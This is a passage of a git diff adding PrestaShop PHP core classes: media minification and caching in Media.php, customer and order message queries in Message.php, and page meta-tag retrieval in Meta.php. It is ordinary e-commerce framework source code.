(preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) + { + error_log('ERROR: PREG_BACKTRACK_LIMIT_ERROR in function packJSinHTML'); + return $html_content_copy; + } + return $html_content; + } + return false; + } + + public static function packJSinHTMLpregCallback($preg_matches) + { + $preg_matches[1] = $preg_matches[1].'/* <![CDATA[ */'; + $preg_matches[2] = Media::packJS($preg_matches[2]); + $preg_matches[count($preg_matches) - 1] = '/* ]]> */'.$preg_matches[count($preg_matches) - 1]; + unset($preg_matches[0]); + $output = implode('', $preg_matches); + return $output; + } + + + public static function packJS($js_content) + { + if (!empty($js_content)) + { + require_once(_PS_TOOL_DIR_.'js_minify/jsmin.php'); + try { + $js_content = JSMin::minify($js_content); + } catch (Exception $e) { + if (_PS_MODE_DEV_) + echo $e->getMessage(); + return $js_content; + } + } + return $js_content; + } + + public static function minifyCSS($css_content, $fileuri = false, &$import_url = array()) + { + global $current_css_file; + + $current_css_file = $fileuri; + if (strlen($css_content) > 0) + { + $limit = Media::getBackTrackLimit(); + $css_content = preg_replace('#/\*.*?\*/#s', '', $css_content, $limit); + $css_content = preg_replace_callback('#(url\((?!data:)(?:\'|")?)([^\)\'"]*(?:\'|")?\))#s', array('Tools', 'replaceByAbsoluteURL'), $css_content, $limit); + $css_content = preg_replace('#\s+#', ' ', $css_content, $limit); + $css_content = str_replace(array("\t", "\n", "\r"), '', $css_content); + $css_content = str_replace(array('; ', ': '), array(';', ':'), $css_content); + $css_content = str_replace(array(' {', '{ '), '{', $css_content); + $css_content = str_replace(', ', ',', $css_content); + $css_content = str_replace(array('} ', ' }', ';}'), '}', $css_content); + $css_content = str_replace(array(':0px', ':0em', ':0pt', ':0%'), ':0', $css_content); + $css_content = str_replace(array(' 0px', ' 0em', ' 0pt', ' 0%'), ' 0', $css_content); + $css_content = str_replace('\'images_ie/', '\'images/', $css_content); + $css_content = preg_replace_callback('#(AlphaImageLoader\(src=\')([^\']*\',)#s', array('Tools', 'replaceByAbsoluteURL'), $css_content); + + // Store all import url + preg_match_all('#@import .*?;#i', $css_content, $m); + for ($i = 0, $total = count($m[0]); $i < $total; $i++) + { + $import_url[] = $m[0][$i]; + $css_content = str_replace($m[0][$i], '', $css_content); + } + + return trim($css_content); + } + return false; + } + + /** + * addJS return javascript path + * + * @param mixed $js_uri + * @return string + */ + public static function getJSPath($js_uri) + { + if (is_array($js_uri) || $js_uri === null || empty($js_uri)) + return false; + $url_data = parse_url($js_uri); + if (!array_key_exists('host', $url_data)) + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); // remove PS_BASE_URI on _PS_ROOT_DIR_ for the following + else + $file_uri = $js_uri; + // check if js files exists + + if (!preg_match('/^http(s?):\/\//i', $file_uri) && !@filemtime($file_uri)) + return false; + + if (Context::getContext()->controller->controller_type == 'admin') + { + $js_uri = preg_replace('/^'.preg_quote(__PS_BASE_URI__, '/').'/', '/', $js_uri); + $js_uri = dirname(preg_replace('/\?.+$/', '', $_SERVER['REQUEST_URI']).'a').'/..'.$js_uri; + } + + return $js_uri; + } + + /** + * addCSS return stylesheet path. + * + * @param mixed $css_uri + * @param string $css_media_type + * @return string + */ + public static function getCSSPath($css_uri, $css_media_type = 'all') + { + if (empty($css_uri)) + return false; + // remove PS_BASE_URI on _PS_ROOT_DIR_ for the following + $url_data = parse_url($css_uri); + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); + // check if css files exists + if (!@filemtime($file_uri)) + return false; + + if (Context::getContext()->controller->controller_type == 'admin') + { + $css_uri = preg_replace('/^'.preg_quote(__PS_BASE_URI__, '/').'/', '/', $css_uri); + $css_uri = dirname(preg_replace('/\?.+$/', '', $_SERVER['REQUEST_URI']).'a').'/..'.$css_uri; + } + + return array($css_uri => $css_media_type); + } + + /** + * return jquery path. + * + * @param mixed $version + * @return string + */ + public static function getJqueryPath($version = null, $folder = null, $minifier = true) + { + $add_no_conflict = false; + if ($version === null) + $version = _PS_JQUERY_VERSION_; //set default version + else if (preg_match('/^([0-9]+\.)+[0-9]$/Ui', $version)) + $add_no_conflict = true; + else + return false; + + if ($folder === null) + $folder = _PS_JS_DIR_.'jquery/'; //set default folder + //check if file exist + $file = $folder.'jquery-'.$version.($minifier ? '.min.js' : '.js'); + + // remove PS_BASE_URI on _PS_ROOT_DIR_ for the following + $url_data = parse_url($file); + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); + // check if js files exists, if not try to load query from ajax.googleapis.com + + $return = array(); + if (@filemtime($file_uri)) + $return[] = Media::getJSPath($file); + else + $return[] = Media::getJSPath(Tools::getCurrentUrlProtocolPrefix().'ajax.googleapis.com/ajax/libs/jquery/'.$version.'/jquery'.($minifier ? '.min.js' : '.js')); + + if ($add_no_conflict) + $return[] = Media::getJSPath(_PS_JS_DIR_.'jquery/jquery.noConflict.php?version='.$version); + + return $return; + } + + /** + * return jqueryUI component path. + * + * @param mixed $component + * @return string + */ + public static function getJqueryUIPath($component, $theme, $check_dependencies) + { + $ui_path = array('js' => array(), 'css' => array()); + $folder = _PS_JS_DIR_.'jquery/ui/'; + $file = 'jquery.'.$component.'.min.js'; + $url_data = parse_url($folder.$file); + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); + $ui_tmp = array(); + if (self::$jquery_ui_dependencies[$component]['theme'] && $check_dependencies) + { + $theme_css = Media::getCSSPath($folder.'themes/'.$theme.'/jquery.ui.theme.css'); + $comp_css = Media::getCSSPath($folder.'themes/'.$theme.'/jquery.'.$component.'.css'); + if (!empty($theme_css) || $theme_css) + $ui_path['css'] = array_merge($ui_path['css'], $theme_css); + if (!empty($comp_css) || $comp_css) + $ui_path['css'] = array_merge($ui_path['css'], $comp_css); + } + if ($check_dependencies && array_key_exists($component, self::$jquery_ui_dependencies)) + { + foreach (self::$jquery_ui_dependencies[$component]['dependencies'] as $dependency) + { + $ui_tmp[] = Media::getJqueryUIPath($dependency, $theme, false); + if (self::$jquery_ui_dependencies[$dependency]['theme']) + $dep_css = Media::getCSSPath($folder.'themes/'.$theme.'/jquery.'.$dependency.'.css'); + if (isset($dep_css) && (!empty($dep_css) || $dep_css)) + $ui_path['css'] = array_merge($ui_path['css'], $dep_css); + } + } + if (@filemtime($file_uri)) + { + if (!empty($ui_tmp)) + { + foreach ($ui_tmp as $ui) + { + $ui_path['js'][] = $ui['js']; + $ui_path['css'][] = $ui['css']; + } + $ui_path['js'][] = Media::getJSPath($folder.$file); + } + else + $ui_path['js'] = Media::getJSPath($folder.$file); + } + + //add i18n file for datepicker + if ($component == 'ui.datepicker') + $ui_path['js'][] = Media::getJSPath($folder.'i18n/jquery.ui.datepicker-'.Context::getContext()->language->iso_code.'.js'); + + return $ui_path; + } + + /** + * return jquery plugin path. + * + * @param mixed $name + * @return void + */ + public static function getJqueryPluginPath($name, $folder = null) + { + $plugin_path = array('js' => array(), 'css' => array()); + if ($folder === null) + $folder = _PS_JS_DIR_.'jquery/plugins/'; //set default folder + + $file = 'jquery.'.$name.'.js'; + $url_data = parse_url($folder); + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); + if (@file_exists($file_uri.$file)) + $plugin_path['js'] = Media::getJSPath($folder.$file); + elseif (@file_exists($file_uri.$name.'/'.$file)) + $plugin_path['js'] = Media::getJSPath($folder.$name.'/'.$file); + else + return false; + $plugin_path['css'] = Media::getJqueryPluginCSSPath($name, $folder); + return $plugin_path; + } + + /** + * return jquery plugin css path if exist. + * + * @param mixed $name + * @return void + */ + public static function getJqueryPluginCSSPath($name, $folder = null) + { + if ($folder === null) + $folder = _PS_JS_DIR_.'jquery/plugins/'; //set default folder + $file = 'jquery.'.$name.'.css'; + $url_data = parse_url($folder); + $file_uri = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, $url_data['path']); + if (@file_exists($file_uri.$file)) + return Media::getCSSPath($folder.$file); + elseif (@file_exists($file_uri.$name.'/'.$file)) + return Media::getCSSPath($folder.$name.'/'.$file); + else + return false; + } + + /** + * Combine Compress and Cache CSS (ccc) calls + * + * @param array css_files + * @return array processed css_files + */ + public static function cccCss($css_files) + { + //inits + $css_files_by_media = array(); + $compressed_css_files = array(); + $compressed_css_files_not_found = array(); + $compressed_css_files_infos = array(); + $protocol_link = Tools::getCurrentUrlProtocolPrefix(); + + // group css files by media + foreach ($css_files as $filename => $media) + { + if (!array_key_exists($media, $css_files_by_media)) + $css_files_by_media[$media] = array(); + + $infos = array(); + $infos['uri'] = $filename; + $url_data = parse_url($filename); + $infos['path'] = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, '/', $url_data['path']); + $css_files_by_media[$media]['files'][] = $infos; + if (!array_key_exists('date', $css_files_by_media[$media])) + $css_files_by_media[$media]['date'] = 0; + $css_files_by_media[$media]['date'] = max( + file_exists($infos['path']) ? filemtime($infos['path']) : 0, + $css_files_by_media[$media]['date'] + ); + + if (!array_key_exists($media, $compressed_css_files_infos)) + $compressed_css_files_infos[$media] = array('key' => ''); + $compressed_css_files_infos[$media]['key'] .= $filename; + } + + // get compressed css file infos + foreach ($compressed_css_files_infos as $media => &$info) + { + $key = md5($info['key'].$protocol_link); + $filename = _PS_THEME_DIR_.'cache/'.$key.'_'.$media.'.css'; + $info = array( + 'key' => $key, + 'date' => file_exists($filename) ? filemtime($filename) : 0 + ); + } + + // aggregate and compress css files content, write new caches files + $import_url = array(); + foreach ($css_files_by_media as $media => $media_infos) + { + $cache_filename = _PS_THEME_DIR_.'cache/'.$compressed_css_files_infos[$media]['key'].'_'.$media.'.css'; + if ($media_infos['date'] > $compressed_css_files_infos[$media]['date']) + { + $compressed_css_files[$media] = ''; + foreach ($media_infos['files'] as $file_infos) + { + if (file_exists($file_infos['path'])) + $compressed_css_files[$media] .= Media::minifyCSS(file_get_contents($file_infos['path']), $file_infos['uri'], $import_url); + else + $compressed_css_files_not_found[] = $file_infos['path']; + } + if (!empty($compressed_css_files_not_found)) + $content = '/* WARNING ! file(s) not found : "'. + implode(',', $compressed_css_files_not_found). + '" */'."\n".$compressed_css_files[$media]; + else + $content = $compressed_css_files[$media]; + + $content = implode('', $import_url).$content; + file_put_contents($cache_filename, $content); + chmod($cache_filename, 0777); + } + $compressed_css_files[$media] = $cache_filename; + } + + // rebuild the original css_files array + $css_files = array(); + foreach ($compressed_css_files as $media => $filename) + { + $url = str_replace(_PS_THEME_DIR_, _THEMES_DIR_._THEME_NAME_.'/', $filename); + $css_files[$protocol_link.Tools::getMediaServer($url).$url] = $media; + } + return $css_files; + } + + public static function getBackTrackLimit() + { + static $limit = null; + if ($limit === null) + { + $limit = @ini_get('pcre.backtrack_limit'); + if (!$limit) + $limit = -1; + } + + return $limit; + } + + /** + * Combine Compress and Cache (ccc) JS calls + * + * @param array js_files + * @return array processed js_files + */ + public static function cccJS($js_files) + { + //inits + $compressed_js_files_not_found = array(); + $js_files_infos = array(); + $js_files_date = 0; + $compressed_js_filename = ''; + $js_external_files = array(); + $protocol_link = Tools::getCurrentUrlProtocolPrefix(); + + // get js files infos + foreach ($js_files as $filename) + { + $expr = explode(':', $filename); + + if ($expr[0] == 'http') + $js_external_files[] = $filename; + else + { + $infos = array(); + $infos['uri'] = $filename; + $url_data = parse_url($filename); + $infos['path'] = _PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, '/', $url_data['path']); + $js_files_infos[] = $infos; + + $js_files_date = max( + file_exists($infos['path']) ? filemtime($infos['path']) : 0, + $js_files_date + ); + $compressed_js_filename .= $filename; + } + } + + // get compressed js file infos + $compressed_js_filename = md5($compressed_js_filename); + + $compressed_js_path = _PS_THEME_DIR_.'cache/'.$compressed_js_filename.'.js'; + $compressed_js_file_date = file_exists($compressed_js_path) ? filemtime($compressed_js_path) : 0; + + // aggregate and compress js files content, write new caches files + if ($js_files_date > $compressed_js_file_date) + { + $content = ''; + foreach ($js_files_infos as $file_infos) + { + if (file_exists($file_infos['path'])) + $content .= file_get_contents($file_infos['path']).';'; + else + $compressed_js_files_not_found[] = $file_infos['path']; + } + $content = Media::packJS($content); + + if (!empty($compressed_js_files_not_found)) + $content = '/* WARNING ! file(s) not found : "'. + implode(',', $compressed_js_files_not_found). + '" */'."\n".$content; + + file_put_contents($compressed_js_path, $content); + chmod($compressed_js_path, 0777); + } + + // rebuild the original js_files array + $url = str_replace(_PS_ROOT_DIR_.'/', __PS_BASE_URI__, $compressed_js_path); + + return array_merge(array($protocol_link.Tools::getMediaServer($url).$url), $js_external_files); + } + +} diff --git a/classes/Message.php b/classes/Message.php new file mode 100755 index 0000000..b1d93a5 --- /dev/null +++ b/classes/Message.php @@ -0,0 +1,163 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MessageCore extends ObjectModel +{ + public $id; + + /** @var string message content */ + public $message; + + /** @var integer Cart ID (if applicable) */ + public $id_cart; + + /** @var integer Order ID (if applicable) */ + public $id_order; + + /** @var integer Customer ID (if applicable) */ + public $id_customer; + + /** @var integer Employee ID (if applicable) */ + public $id_employee; + + /** @var boolean Message is not displayed to the customer */ + public $private; + + /** @var string Object creation date */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'message', + 'primary' => 'id_message', + 'fields' => array( + 'message' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 1600), + 'id_cart' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'private' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + /** + * Return the last message from cart + * + * @param integer $id_cart Cart ID + * @return array Message + */ + public static function getMessageByCartId($id_cart) + { + return Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'message` + WHERE `id_cart` = '.(int)$id_cart + ); + } + + /** + * Return messages from Order ID + * + * @param integer $id_order Order ID + * @param boolean $private return WITH private messages + * @return array Messages + */ + public static function getMessagesByOrderId($id_order, $private = false, Context $context = null) + { + if (!Validate::isBool($private)) + die(Tools::displayError()); + + if (!$context) + $context = Context::getContext(); + + return Db::getInstance()->executeS(' + SELECT m.*, c.`firstname` AS cfirstname, c.`lastname` AS clastname, e.`firstname` AS efirstname, e.`lastname` AS elastname, + (COUNT(mr.id_message) = 0 AND m.id_customer != 0) AS is_new_for_me + FROM `'._DB_PREFIX_.'message` m + LEFT JOIN `'._DB_PREFIX_.'customer` c ON m.`id_customer` = c.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'message_readed` mr + ON mr.`id_message` = m.`id_message` + AND mr.`id_employee` = '.(isset($context->employee) ? (int)$context->employee->id : '\'\'').' + LEFT OUTER JOIN `'._DB_PREFIX_.'employee` e ON e.`id_employee` = m.`id_employee` + WHERE id_order = '.(int)$id_order.' + '.(!$private ? ' AND m.`private` = 0' : '').' + GROUP BY m.id_message + ORDER BY m.date_add DESC + '); + } + + /** + * Return messages from Cart ID + * + * @param integer $id_order Order ID + * @param boolean $private return WITH private messages + * @return array Messages + */ + public static function getMessagesByCartId($id_cart, $private = false, Context $context = null) + { + if (!Validate::isBool($private)) + die(Tools::displayError()); + + if (!$context) + $context = Context::getContext(); + + return Db::getInstance()->executeS(' + SELECT m.*, c.`firstname` AS cfirstname, c.`lastname` AS clastname, e.`firstname` AS efirstname, e.`lastname` AS elastname, + (COUNT(mr.id_message) = 0 AND m.id_customer != 0) AS is_new_for_me + FROM `'._DB_PREFIX_.'message` m + LEFT JOIN `'._DB_PREFIX_.'customer` c ON m.`id_customer` = c.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'message_readed` mr ON (mr.id_message = m.id_message AND mr.id_employee = '.(int)$context->employee->id.') + LEFT OUTER JOIN `'._DB_PREFIX_.'employee` e ON e.`id_employee` = m.`id_employee` + WHERE id_cart = '.(int)$id_cart.' + '.(!$private ? ' AND m.`private` = 0' : '').' + GROUP BY m.id_message + ORDER BY m.date_add DESC + '); + } + + /** + * Registered a message 'readed' + * + * @param integer $id_message Message ID + * @param integer $id_emplyee Employee ID + */ + public static function markAsReaded($id_message, $id_employee) + { + if (!Validate::isUnsignedId($id_message) || !Validate::isUnsignedId($id_employee)) + die(Tools::displayError()); + + $result = Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'message_readed (id_message , id_employee , date_add) VALUES + ('.(int)$id_message.', '.(int)$id_employee.', NOW()); + '); + return $result; + } +} + + diff --git a/classes/Meta.php b/classes/Meta.php new file mode 100755 index 0000000..8d82adf --- /dev/null +++ b/classes/Meta.php @@ -0,0 +1,418 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MetaCore extends ObjectModel +{ + /** @var string Name */ + public $page; + public $title; + public $description; + public $keywords; + public $url_rewrite; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'meta', + 'primary' => 'id_meta', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + 'page' => array('type' => self::TYPE_STRING, 'validate' => 'isFileName', 'required' => true, 'size' => 64), + + /* Lang fields */ + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'url_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'size' => 255), + ), + ); + + public static function getPages($exclude_filled = false, $add_page = false) + { + $selected_pages = array(); + if (!$files = Tools::scandir(_PS_ROOT_DIR_.'/controllers/front/', 'php', '', true)) + die(Tools::displayError('Cannot scan root directory')); + + // Exclude pages forbidden + $exlude_pages = array( + 'category', 'changecurrency', 'cms', 'footer', 'header', + 'pagination', 'product', 'product-sort', 'statistics' + ); + + foreach ($files as $file) + { + if ($file != 'index.php' && !in_array(strtolower(str_replace('Controller.php', '', $file)), $exlude_pages)) + { + $reflection = new ReflectionClass(str_replace('.php', '', $file)); + $properties = $reflection->getDefaultProperties(); + if (isset($properties['php_self'])) + $selected_pages[$properties['php_self']] = $properties['php_self']; + else if (preg_match('/^[a-z0-9_.-]*\.php$/i', $file)) + $selected_pages[strtolower(str_replace('Controller.php', '', $file))] = strtolower(str_replace('Controller.php', '', $file)); + else if (preg_match('/^([a-z0-9_.-]*\/)?[a-z0-9_.-]*\.php$/i', $file)) + $selected_pages[strtolower(sprintf(Tools::displayError('%2$s (in %1$s)'), dirname($file), str_replace('Controller.php', '', basename($file))))] = strtolower(str_replace('Controller.php', '', basename($file))); + } + } + + // Add modules controllers to list (this function is cool !) + foreach (glob(_PS_MODULE_DIR_.'*/controllers/front/*.php') as $file) + { + $filename = basename($file, '.php'); + if ($filename == 'index') + continue; + + $module = basename(dirname(dirname(dirname($file)))); + $selected_pages[$module.' - '.$filename] = 'module-'.$module.'-'.$filename; + } + + // Exclude page already filled + if ($exclude_filled) + { + $metas = Meta::getMetas(); + foreach ($metas as $meta) + if (in_array($meta['page'], $selected_pages)) + unset($selected_pages[array_search($meta['page'], $selected_pages)]); + } + // Add selected page + if ($add_page) + { + $name = $add_page; + if (preg_match('#module-([a-z0-9_-]+)-([a-z0-9]+)$#i', $add_page, $m)) + $add_page = $m[1].' - '.$m[2]; + $selected_pages[$add_page] = $name; + asort($selected_pages); + } + return $selected_pages; + } + + public static function getMetas() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'meta + ORDER BY page ASC'); + } + + public static function getMetasByIdLang($id_lang) + { + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'meta` m + LEFT JOIN `'._DB_PREFIX_.'meta_lang` ml ON m.`id_meta` = ml.`id_meta` + WHERE ml.`id_lang` = '.(int)$id_lang + .Shop::addSqlRestrictionOnLang('ml'). + 'ORDER BY page ASC'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + } + + public static function getMetaByPage($page, $id_lang) + { + $sql = 'SELECT * + FROM '._DB_PREFIX_.'meta m + LEFT JOIN '._DB_PREFIX_.'meta_lang ml on (m.id_meta = ml.id_meta) + WHERE (m.page = \''.pSQL($page).'\' OR m.page=\''.pSQL(str_replace('-', '', strtolower($page))).'\') + AND ml.id_lang = '.(int)$id_lang + .Shop::addSqlRestrictionOnLang('ml'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + } + + public function update($null_values = false) + { + if (!parent::update($null_values)) + return false; + + return Tools::generateHtaccess(); + } + + public function delete() + { + if (!parent::delete()) + return false; + + return Tools::generateHtaccess(); + } + + public function deleteSelection($selection) + { + if (!is_array($selection)) + die(Tools::displayError()); + $result = true; + foreach ($selection as $id) + { + $this->id = (int)$id; + $result = $result && $this->delete(); + } + + return Tools::generateHtaccess(); + } + + public static function getEquivalentUrlRewrite($new_id_lang, $id_lang, $url_rewrite) + { + return Db::getInstance()->getValue(' + SELECT url_rewrite + FROM `'._DB_PREFIX_.'meta_lang` + WHERE id_meta = ( + SELECT id_meta + FROM `'._DB_PREFIX_.'meta_lang` + WHERE url_rewrite = \''.pSQL($url_rewrite).'\' AND id_lang = '.(int)$id_lang.' + AND id_shop = '.Context::getContext()->shop->id.' + ) + AND id_lang = '.(int)$new_id_lang.' + AND id_shop = '.Context::getContext()->shop->id); + } + + /** + * @since 1.5.0 + */ + public static function getMetaTags($id_lang, $page_name, $title = '') + { + global $maintenance; + if (!(isset($maintenance) && (!in_array(Tools::getRemoteAddr(), explode(',', Configuration::get('PS_MAINTENANCE_IP')))))) + { + if ($page_name == 'product' && ($id_product = Tools::getValue('id_product'))) + return Meta::getProductMetas($id_product, $id_lang, $page_name); + elseif ($page_name == 'category' && ($id_category = Tools::getValue('id_category'))) + return Meta::getCategoryMetas($id_category, $id_lang, $page_name, $title); + elseif ($page_name == 'manufacturer' && ($id_manufacturer = Tools::getValue('id_manufacturer'))) + return Meta::getManufacturerMetas($id_manufacturer, $id_lang, $page_name); + elseif ($page_name == 'supplier' && ($id_supplier = Tools::getValue('id_supplier'))) + return Meta::getSupplierMetas($id_supplier, $id_lang, $page_name); + elseif ($page_name == 'cms' && ($id_cms = Tools::getValue('id_cms'))) + return Meta::getCmsMetas($id_cms, $id_lang, $page_name); + elseif ($page_name == 'cms' && ($id_cms_category = Tools::getValue('id_cms_category'))) + return Meta::getCmsCategoryMetas($id_cms_category, $id_lang, $page_name); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get meta tags for a given page + * + * @since 1.5.0 + * @param int $id_lang + * @param string $page_name + * @return array Meta tags + */ + public static function getHomeMetas($id_lang, $page_name) + { + $metas = Meta::getMetaByPage($page_name, $id_lang); + $ret['meta_title'] = (isset($metas['title']) && $metas['title']) ? $metas['title'].' - '.Configuration::get('PS_SHOP_NAME') : Configuration::get('PS_SHOP_NAME'); + $ret['meta_description'] = (isset($metas['description']) && $metas['description']) ? $metas['description'] : ''; + $ret['meta_keywords'] = (isset($metas['keywords']) && $metas['keywords']) ? $metas['keywords'] : ''; + return $ret; + } + + /** + * Get product meta tags + * + * @since 1.5.0 + * @param int $id_product + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getProductMetas($id_product, $id_lang, $page_name) + { + $sql = 'SELECT `name`, `meta_title`, `meta_description`, `meta_keywords`, `description_short` + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.`id_product` = p.`id_product`'.Shop::addSqlRestrictionOnLang('pl').') + '.Shop::addSqlAssociation('product', 'p').' + WHERE pl.id_lang = '.(int)$id_lang.' + AND pl.id_product = '.(int)$id_product.' + AND product_shop.active = 1'; + if ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + if (empty($row['meta_description'])) + $row['meta_description'] = strip_tags($row['description_short']); + return Meta::completeMetaTags($row, $row['name']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get category meta tags + * + * @since 1.5.0 + * @param int $id_category + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getCategoryMetas($id_category, $id_lang, $page_name, $title = '') + { + if (!empty($title)) + $title = ' - '.$title; + $page_number = (int)Tools::getValue('p'); + $sql = 'SELECT `name`, `meta_title`, `meta_description`, `meta_keywords`, `description` + FROM `'._DB_PREFIX_.'category_lang` cl + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND cl.`id_category` = '.(int)$id_category.Shop::addSqlRestrictionOnLang('cl'); + if ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + if (empty($row['meta_description'])) + $row['meta_description'] = strip_tags($row['description']); + + // Paginate title + if (!empty($row['meta_title'])) + $row['meta_title'] = $title.$row['meta_title'].(!empty($page_number) ? ' ('.$page_number.')' : '').' - '.Configuration::get('PS_SHOP_NAME'); + else + $row['meta_title'] = $row['name'].(!empty($page_number) ? ' ('.$page_number.')' : '').' - '.Configuration::get('PS_SHOP_NAME'); + + if (!empty($title)) + $row['meta_title'] = $title.(!empty($page_number) ? ' ('.$page_number.')' : '').' - '.Configuration::get('PS_SHOP_NAME'); + + return Meta::completeMetaTags($row, $row['name']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get manufacturer meta tags + * + * @since 1.5.0 + * @param int $id_manufacturer + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getManufacturerMetas($id_manufacturer, $id_lang, $page_name) + { + $page_number = (int)Tools::getValue('p'); + $sql = 'SELECT `name`, `meta_title`, `meta_description`, `meta_keywords` + FROM `'._DB_PREFIX_.'manufacturer_lang` ml + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (ml.`id_manufacturer` = m.`id_manufacturer`) + WHERE ml.id_lang = '.(int)$id_lang.' + AND ml.id_manufacturer = '.(int)$id_manufacturer; + if ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + if (empty($row['meta_description'])) + $row['meta_description'] = strip_tags($row['meta_description']); + $row['meta_title'] = ($row['meta_title'] ? $row['meta_title'] : $row['name']).(!empty($page_number) ? ' ('.$page_number.')' : ''); + $row['meta_title'] .= ' - '.Configuration::get('PS_SHOP_NAME'); + return Meta::completeMetaTags($row, $row['meta_title']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get supplier meta tags + * + * @since 1.5.0 + * @param int $id_supplier + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getSupplierMetas($id_supplier, $id_lang, $page_name) + { + $sql = 'SELECT `name`, `meta_title`, `meta_description`, `meta_keywords` + FROM `'._DB_PREFIX_.'supplier_lang` sl + LEFT JOIN `'._DB_PREFIX_.'supplier` s ON (sl.`id_supplier` = s.`id_supplier`) + WHERE sl.id_lang = '.(int)$id_lang.' + AND sl.id_supplier = '.(int)$id_supplier; + if ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql)) + { + if (empty($row['meta_description'])) + $row['meta_description'] = strip_tags($row['meta_description']); + if (!empty($row['meta_title'])) + $row['meta_title'] = $row['meta_title'].' - '.Configuration::get('PS_SHOP_NAME'); + return Meta::completeMetaTags($row, $row['name']); + } + + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * Get CMS meta tags + * + * @since 1.5.0 + * @param int $id_cms + * @param int $id_lang + * @param string $page_name + * @return array + */ + public static function getCmsMetas($id_cms, $id_lang, $page_name) + { + $sql = 'SELECT `meta_title`, `meta_description`, `meta_keywords` + FROM `'._DB_PREFIX_.'cms_lang` + WHERE id_lang = '.(int)$id_lang.' + AND id_cms = '.(int)$id_cms; + if ($row = 